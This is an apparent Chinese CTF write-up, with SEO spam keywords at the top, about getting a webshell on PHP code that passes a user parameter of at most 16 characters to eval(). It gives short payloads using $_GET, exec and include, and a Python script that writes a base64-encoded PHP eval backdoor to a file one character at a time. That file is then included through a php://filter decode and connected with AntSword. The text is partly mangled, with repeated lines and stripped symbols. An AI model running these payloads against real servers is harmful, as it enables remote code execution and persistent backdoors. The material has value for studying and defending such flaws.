网站框架代码,如何做网站优化关键词优化,微信公众号网站开发注意,蓝色风格企业网站EVAL长度限制突破技巧
PHP Eval函数参数限制在16个字符的情况下 #xff0c;如何拿到Webshell#xff1f;
写一段限制长度在小于17位的字符#xff0c;拿下webshell
?php
highlight_file(__FILE__);
$param $_REQUEST[param];
if (strlen($param) 17 如何拿到Webshell
写一段限制长度在小于17位的字符拿下webshell
?php
highlight_file(__FILE__);
$param $_REQUEST[param];
if (strlen($param) 17 stripos($param, eval) false stripos($param, assert) false
) {eval($param);
}1.$_GET[1] 10位 直接解
http://192.168.176.142/testone.php?paramecho $_GET[1];1id
;后面没有限制限制的是param,echo用来检验算在其中 exec($_GET[1]);15位
也可以在这里使用,想看打印放在后面我们可以给aaaaa.php里写东西
http://192.168.176.142/testone.php?paramexec($_GET[1]);1echo ?php phpinfo(); aaaaa.php 2.include$_GET[1]; 本地文件包含的利用
向服务器写入文件并包含
既然文件要利用包含了那么我们就应该先要想办法将马先写入一个文件才行有了这个思路那么想想该怎么写入呢
这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中大概请求如下
param$_GET[a](N,a,8);afile_put_contents
刚好16位
file_put_contents的第一个参数是文件名我传入N。第二个参数是要写入的数据a也被转换成字符串a第三个参数是flag当flag8的时候内容会追加在文件末尾而不是覆盖。
除了file_put_contentserror_log函数效果也类似。
但这个方法有个问题就是file_put_contents第二个参数如果是符号就会导致PHP出错比如 code$_GET[a](N,,8);afile_put_contents。但如果要写webshell的话“”等符号又是必不可少的。
于是上网找资料看到一个办法每次向文件N中写入一个字母或数字最后构成一个base64字符串再包含的时候使用php://filter对base64进行解码即可。 我们把PD9waHAgZXZhbCgkX1BPU1RbMV0pOw写入N中
脚本如下
import requestsstring PD9waHAgZXZhbCgkX1BPU1RbMV0pOwfor i in string:payload http://192.168.176.142/testone.php?1file_put_contentsparam$_GET[1](N,%s,8); % iresponse requests.get(payload)if response.status_code 200:print(i) 写入成功 我们拿蚁剑试着连接
http://192.168.176.142/testone.php?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN